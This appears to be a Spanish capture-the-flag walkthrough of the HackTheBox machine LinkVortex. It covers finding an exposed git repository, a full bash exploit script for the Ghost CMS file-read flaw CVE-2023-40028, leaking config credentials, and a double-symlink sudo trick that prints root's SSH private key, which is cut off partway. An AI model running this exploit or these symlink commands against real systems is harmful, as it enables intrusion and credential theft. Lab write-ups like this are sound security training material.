This page looks best with JavaScript enabled

HackTheBox - Linkvortex

 •  ✍️ sckull

LinkVortex expone un repositorio en un subdominio de desarrollo, donde encontramos credenciales que nos permitieron explotar una vulnerabilidad en Ghost CMS. A traves de este, realizamos la lectura del archivo de configuracion del CMS donde descubrimos un par de credenciales que nos dieron acceso a la maquina. Finalmente, escalamos privilegios tras la creacion de enlaces simbolicos utilizados por un script con sudo.

Nombre LinkVortex box_img_maker
OS

Linux

Puntos 20
Dificultad Easy
Fecha de Salida 2024-12-07
IP 10.10.11.47
Maker

0xyassine

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [283, 438, 2057, 1896, 724, 294, 157, 41, 13, 51],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.95 scan initiated Sun Jan 19 00:41:02 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.10.11.47
Nmap scan report for 10.10.11.47
Host is up (0.086s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 19 00:41:13 2025 -- 1 IP address (1 host up) scanned in 10.78 seconds

Web Site

El sitio web nos redirige al dominio linkvortex.htb el cual agregamos al archivo /etc/hosts.

1
2
3
4
5
6
7
8
❯ curl -sI 10.10.11.47
HTTP/1.1 301 Moved Permanently
Date: Sun, 19 Jan 2025 05:41:48 GMT
Server: Apache
Location: http://linkvortex.htb/
Content-Type: text/html; charset=iso-8859-1

El sitio web muestra distintos post relacionados a computadoras.

image

Observamos un nombre de usuario en los posts: admin.

Web Tech

wappalyzer nos muestra la tecnologia utilizada por el sitio, se muestra el CMS Ghost en su version 5.58.

image

Ghost CMS

La version de Ghost 5.58 es vulnerable a Arbitrary File Read, el PoC necesita credenciales de acceso para explotar la vulnerabilidad.

image

robots.txt

Al revisar el archivo robots.txt encontramos el sitemap del sitio, ademas se observa /ghost/.

1
2
3
4
5
6
7
8
❯ curl -s http://linkvortex.htb/robots.txt
User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/

Unicamente /ghost/ esta disponible y muestra un login.

image

Directory Brute Forcing

feroxbuster muestra multiples directorios del sitio sin embargo tambien muestra falsos positivos, incluso al filtrar por codigo 404.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ feroxbuster -u http://linkvortex.htb/ -w $CM -C 404
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://linkvortex.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 💢  Status Code Filters   │ [404]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        1l       27w     6743c http://linkvortex.htb/public/cards.min.js
200      GET        2l      157w    10332c http://linkvortex.htb/assets/built/casper.js
200      GET        1l      583w    35739c http://linkvortex.htb/public/cards.min.css
200      GET        2l      769w    39700c http://linkvortex.htb/assets/built/screen.css
200      GET        2l       46w    25518c http://linkvortex.htb/favicon.ico
200      GET      307l      914w    12148c http://linkvortex.htb/
# [... snip ...]

Ejecutamos feroxbuster sobre /ghost/ este muestra que encontro ‘directorios’ y endpoints que corresponden al CMS, ademas aquellos con relacion a un repositorio son redireccionados.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
❯ feroxbuster -u http://linkvortex.htb/ghost/ -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://linkvortex.htb/ghost/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        1l        4w       43c http://linkvortex.htb/ghost/ghost-admin/ => http://linkvortex.htb/ghost/#/ghost-admin/
404      GET        1l        3w      204c http://linkvortex.htb/ghost/api
200      GET       64l      163w     3787c http://linkvortex.htb/ghost/
302      GET        1l        4w       41c http://linkvortex.htb/ghost/p/cgi-bin/ => http://linkvortex.htb/ghost/#/p/cgi-bin/
302      GET        1l        4w       52c http://linkvortex.htb/ghost/.svn/entries/cgi-bin/ => http://linkvortex.htb/ghost/#/.svn/entries/cgi-bin/
302      GET        1l        4w       54c http://linkvortex.htb/ghost/p/.svn/entries/cgi-bin/ => http://linkvortex.htb/ghost/#/p/.svn/entries/cgi-bin/
301      GET        1l        5w       59c http://linkvortex.htb/ghost/.git/HEAD/cgi-bin/ => http://linkvortex.htb/ghost/.git/head/cgi-bin/
302      GET        1l        4w       41c http://linkvortex.htb/ghost/r/cgi-bin/ => http://linkvortex.htb/ghost/#/r/cgi-bin/
301      GET        1l        5w       61c http://linkvortex.htb/ghost/r/.git/HEAD/cgi-bin/ => http://linkvortex.htb/ghost/r/.git/head/cgi-bin/
302      GET        1l        4w       54c http://linkvortex.htb/ghost/r/.svn/entries/cgi-bin/ => http://linkvortex.htb/ghost/#/r/.svn/entries/cgi-bin/
301      GET        1l        5w       65c http://linkvortex.htb/ghost/ghost/.git/HEAD/cgi-bin/ => http://linkvortex.htb/ghost/ghost/.git/head/cgi-bin/
302      GET        1l        4w       58c http://linkvortex.htb/ghost/ghost/.svn/entries/cgi-bin/ => http://linkvortex.htb/ghost/#/ghost/.svn/entries/cgi-bin/
301      GET        1l        5w       61c http://linkvortex.htb/ghost/p/.git/HEAD/cgi-bin/ => http://linkvortex.htb/ghost/p/.git/head/cgi-bin/
302      GET        1l        4w       58c http://linkvortex.htb/ghost/_vti_bin/shtml.dll/cgi-bin/ => http://linkvortex.htb/ghost/#/_vti_bin/shtml.dll/cgi-bin/
301      GET        1l        5w       65c http://linkvortex.htb/ghost/email/.git/HEAD/cgi-bin/ => http://linkvortex.htb/ghost/email/.git/head/cgi-bin/
302      GET        1l        4w       60c http://linkvortex.htb/ghost/r/_vti_bin/shtml.dll/cgi-bin/ => http://linkvortex.htb/ghost/#/r/_vti_bin/shtml.dll/cgi-bin/
301      GET        1l        5w       64c http://linkvortex.htb/ghost/email/CVS/Root/cgi-bin/ => http://linkvortex.htb/ghost/email/cvs/root/cgi-bin/
301      GET        1l        5w       70c http://linkvortex.htb/ghost/email/CVS/Repository/cgi-bin/ => http://linkvortex.htb/ghost/email/cvs/repository/cgi-bin/
301      GET        1l        5w       66c http://linkvortex.htb/ghost/r/CVS/Repository/cgi-bin/ => http://linkvortex.htb/ghost/r/cvs/repository/cgi-bin/
301      GET        1l        5w       67c http://linkvortex.htb/ghost/email/CVS/Entries/cgi-bin/ => http://linkvortex.htb/ghost/email/cvs/entries/cgi-bin/
301      GET        1l        5w       64c http://linkvortex.htb/ghost/ghost/CVS/Root/cgi-bin/ => http://linkvortex.htb/ghost/ghost/cvs/root/cgi-bin/
301      GET        1l        5w       60c http://linkvortex.htb/ghost/p/CVS/Root/cgi-bin/ => http://linkvortex.htb/ghost/p/cvs/root/cgi-bin/
301      GET        1l        5w       64c http://linkvortex.htb/ghost/CVS/Repository/cgi-bin/ => http://linkvortex.htb/ghost/cvs/repository/cgi-bin/

Subdomain Discovery

Tras ejecutar ffuf este muestra el subdominio dev.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.linkvortex.htb" -u http://linkvortex.htb -fl 8

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://linkvortex.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.linkvortex.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 8
________________________________________________

dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 90ms]

dev.linkvortex.htb

Directory Brute Forcing - Subdomain

feroxbuster muestra que existe un repositorio en el subdominio dev.linkvortex.htb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ feroxbuster -u http://dev.linkvortex.htb/ -w $CM
                                                                                                                                                                                          
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://dev.linkvortex.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       23w      196c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l       20w      199c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      115l      255w     2538c http://dev.linkvortex.htb/
200      GET        1l        1w       41c http://dev.linkvortex.htb/.git/HEAD
200      GET      115l      255w     2538c http://dev.linkvortex.htb/index.html

Repository

Utilizamos git-dumper para obtener localmente el repositorio publico en el subdominio dev.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
❯ ~/.local/bin/git-dumper http://dev.linkvortex.htb/.git/ dev_linkvortex
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.git/ [200]
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/config [200]
[-] Fetching http://dev.linkvortex.htb/.git/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/packed-refs [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/index [200]
[-] Fetching http://dev.linkvortex.htb/.git/shallow [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/description [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/exclude [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/864e0261278525197724b394ed4292414d9fec [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/v5.57.3 [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/54b0ed7f9c9aedf3180ee1fd94e7e43b29f000 [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.idx [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.pack [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the index

Tras ejecutar git encontramos que existe un cambio en el archivo test de autenticacion de ghost, al mostrar los cambios realizados vemos una contrasena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ git status
Not currently on any branch.
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
	new file:   Dockerfile.ghost
	modified:   ghost/core/test/regression/api/admin/authentication.test.js

❯ git diff --cached  ghost/core/test/regression/api/admin/authentication.test.js
diff --git a/ghost/core/test/regression/api/admin/authentication.test.js b/ghost/core/test/regression/api/admin/authentication.test.js
index 2735588..e654b0e 100644
--- a/ghost/core/test/regression/api/admin/authentication.test.js
+++ b/ghost/core/test/regression/api/admin/authentication.test.js
@@ -53,7 +53,7 @@ describe('Authentication API', function () {
 
         it('complete setup', async function () {
             const email = 'test@example.com';
-            const password = 'thisissupersafe';
+            const password = 'OctopiFociPilfer45';
 
             const requestMock = nock('https://api.github.com')
                 .get('/repos/tryghost/dawn/zipball')

Portal

Utilizamos la contrasena del respositorio y como correo admin@linkvortex.htb. Logramos acceder y observamos el portal de ghost.

image

CVE-2023-40028

El PoC del CVE-2023-40028 toma ventaja de symlinks para la lectura de archivos. Con las credenciales encontradas utilizamos el PoC para explotar la vulnerabilidad realizando cambios en la autenticacion y las rutas.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/bin/bash

# Exploit Title: Ghost Arbitrary File Read
# Date: 10-03-2024
# Exploit Author: Mohammad Yassine
# Vendor Homepage: https://ghost.org/
# Version: BEFORE [ 5.59.1 ]
# Tested on: [ debian 11 bullseye ghost docker image ]
# CVE : CVE-2023-40028

#THIS EXPLOIT WAS TESTED AGAINST A SELF HOSTED GHOST IMAGE USING DOCKER

#GHOST ENDPOINT
GHOST_URL='http://linkvortex.htb'
GHOST_API="$GHOST_URL/ghost/api/admin"
API_VERSION='v3.0'

PAYLOAD_PATH="`dirname $0`/exploit"
PAYLOAD_ZIP_NAME=exploit.zip

# Function to print usage
function usage() {
  echo "Usage: $0 -u username -p password"
}

while getopts 'u:p:' flag; do
  case "${flag}" in
    u) USERNAME="${OPTARG}" ;;
    p) PASSWORD="${OPTARG}" ;;
    *) usage
       exit ;;
  esac
done

if [[ -z $USERNAME || -z $PASSWORD ]]; then
  usage
  exit
fi

function generate_exploit() {
  local FILE_TO_READ=$1
  IMAGE_NAME=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
  mkdir -p $PAYLOAD_PATH/content/images/2024/
  ln -s $FILE_TO_READ $PAYLOAD_PATH/content/images/2024/$IMAGE_NAME.png
  zip -r -y $PAYLOAD_ZIP_NAME $PAYLOAD_PATH/ &>/dev/null
}

function clean() {
  rm $PAYLOAD_PATH/content/images/2024/$IMAGE_NAME.png
  rm -rf $PAYLOAD_PATH
  rm $PAYLOAD_ZIP_NAME
}

#CREATE COOKIE using JSON
curl -x http://127.0.0.1:8080 -c cookie.txt -s -X POST $GHOST_API/session/ \
  -H "Content-Type: application/json" \
  -H "Origin: $GHOST_URL" \
  -H "Accept-Version: v3.0" \
  -d '{
        "username": "'$USERNAME'",
        "password": "'$PASSWORD'"
      }' &> /dev/null

cat cookie.txt

if ! cat cookie.txt | grep -q ghost-admin-api-session; then
  echo "[!] INVALID USERNAME OR PASSWORD"
  rm cookie.txt
  exit
fi

function send_exploit() {
  RES=$(curl -x http://127.0.0.1:8080 -s -b cookie.txt \
    -H "Accept: text/plain, */*; q=0.01" \
    -H "Accept-Language: en-US,en;q=0.5" \
    -H "Accept-Encoding: gzip, deflate, br" \
    -H "X-Ghost-Version: 5.58" \
    -H "App-Pragma: no-cache" \
    -H "X-Requested-With: XMLHttpRequest" \
    -H "Content-Type: multipart/form-data" \
    -X POST \
    -H "Origin: $GHOST_URL" \
    -H "Referer: $GHOST_URL/ghost/" \
    -F "importfile=@`dirname $PAYLOAD_PATH`/$PAYLOAD_ZIP_NAME;type=application/zip" \
    -H "form-data; name=\"importfile\"; filename=\"$PAYLOAD_ZIP_NAME\"" \
    -H "Content-Type: application/zip" \
    -J \
    "$GHOST_URL/ghost/api/admin/db")
  if [ $? -ne 0 ]; then
    echo "[!] FAILED TO SEND THE EXPLOIT"
    clean
    exit
  fi
}

echo "WELCOME TO THE CVE-2023-40028 SHELL"
while true; do
  read -p "file> " INPUT
  if [[ $INPUT == "exit" ]]; then
    echo "Bye Bye !"
    break
  fi
  if [[ $INPUT =~ \  ]]; then
    echo "PLEASE ENTER FULL FILE PATH WITHOUT SPACE"
    continue
  fi
  if [ -z $INPUT ]; then
    echo "VALUE REQUIRED"
    continue
  fi
  generate_exploit $INPUT
  send_exploit
  #echo $IMAGE_NAME
  curl -x http://127.0.0.1:8080 -b cookie.txt -s $GHOST_URL/content/images/2024/$IMAGE_NAME.png
  clean
done

rm cookie.txt

Tras ejecutar el script logramos leer el archivo /etc/passwd.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ ./ghost.sh -u "admin@linkvortex.htb" -p "OctopiFociPilfer45"
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

#HttpOnly_linkvortex.htb	FALSE	/ghost	FALSE	1753046304	ghost-admin-api-session	s%3AkKJqzrfXm5_plBXe8PegIhtzOLeViubW.%2FBXNmkTEDP%2ByMVc2bpuc9y7U1P4ZkuAG%2FFRj63EXApM
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
file>

User - Bob

En el archivo de Docker del repositorio muestra una ruta completa del archivo de configuracion de ghost.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ cat Dockerfile.ghost
FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb

# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh

ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]

Tras realizar la lectura de este encontramos credenciales de acceso al servicio smtp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
file> /var/lib/ghost/config.production.json
{
  [...] snip [...]
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}
file>

Shell

Utilizamos estas credenciales en el servicio SSH logrando obtener acceso y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~/htb/linkvortex]
└─$ ssh bob@linkvortex.htb # fibber-talented-worth
bob@linkvortex.htb's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Tue Dec  3 11:41:50 2024 from 10.10.14.62
bob@linkvortex:~$ whoami;id;pwd
bob
uid=1001(bob) gid=1001(bob) groups=1001(bob)
/home/bob
bob@linkvortex:~$ ls
user.txt
bob@linkvortex:~$ cat user.txt
69570f13ba46fc198be8c85cf69d8d5d
bob@linkvortex:~$

Privesc

Observamos que el usuario puede ejecutar /opt/ghost/clean_symlink.sh como root y el valor de la variable CHECK_CONTENT se mantiene.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
bob@linkvortex:~$ sudo -l -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:

Sudoers entry:
    RunAsUsers: ALL
    Options: !authenticate
    Commands:
	/usr/bin/bash /opt/ghost/clean_symlink.sh *.png
bob@linkvortex:~$

El script busca archivos png y revisa si estos son archivos symlink, de ser asi verifica que no este enlazado a un archivo que contenga el valor etc o root al validar esto mueve este archivo a una carpeta para ponerlo en “cuarentena”. Ademas si la variable CHECK_CONTENT tiene el valor true, al mover el archivo en cuarentena imprime el valor de este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

Cambiamos el valor de la variable para imprimir el contenido de user.txt y observamos que lo imprime, y ademas vemos el archivo en la carpeta de cuarentena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
bob@linkvortex:~$ ln -s /home/bob/user.txt i.png
bob@linkvortex:~$ CHECK_CONTENT=true sudo bash /opt/ghost/clean_symlink.sh i.png
Link found [ i.png ] , moving it to quarantine
Content:
69570f13ba46fc198be8c85cf69d8d5d
bob@linkvortex:~$ ll /var/quarantined
total 8
drwxr-xr-x  2 bob  bob  4096 Jan 19 09:29 ./
drwxr-xr-x 14 root root 4096 Nov 29 15:58 ../
lrwxrwxrwx  1 bob  bob    18 Jan 19 09:29 i.png -> /home/bob/user.txt
bob@linkvortex:~$

Los archivos en /root y /etc estan restringidos por lo que creamos un “doble” symlink para poder leer archivos dentro de /root. En este caso realizamos la lectura de la clave privada de root, el cual existe.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
bob@linkvortex:~$ ln -s /root/.ssh/id_rsa test
bob@linkvortex:~$ ln -s /home/bob/test a.png
bob@linkvortex:~$ CHECK_CONTENT=true sudo bash /opt/ghost/clean_symlink.sh a.png
Link found [ a.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmpHVhV11MW7eGt9WeJ23rVuqlWnMpF+FclWYwp4SACcAilZdOF8T
q2egYfeMmgI9IoM0DdyDKS4vG+lIoWoJEfZf+cVwaZIzTZwKm7ECbF2Oy+u2SD+X7lG9A6
V1xkmWhQWEvCiI22UjIoFkI0oOfDrm6ZQTyZF99AqBVcwGCjEA67eEKt/5oejN5YgL7Ipu
6sKpMThUctYpWnzAc4yBN/mavhY7v5+TEV0FzPYZJ2spoeB3OGBcVNzSL41ctOiqGVZ7yX
TQ6pQUZxR4zqueIZ7yHVsw5j0eeqlF8OvHT81wbS5ozJBgtjxySWrRkkKAcY11tkTln6NK
CssRzP1r9kbmgHswClErHLL/CaBb/04g65A0xESAt5H1wuSXgmipZT8Mq54lZ4ZNMgPi53
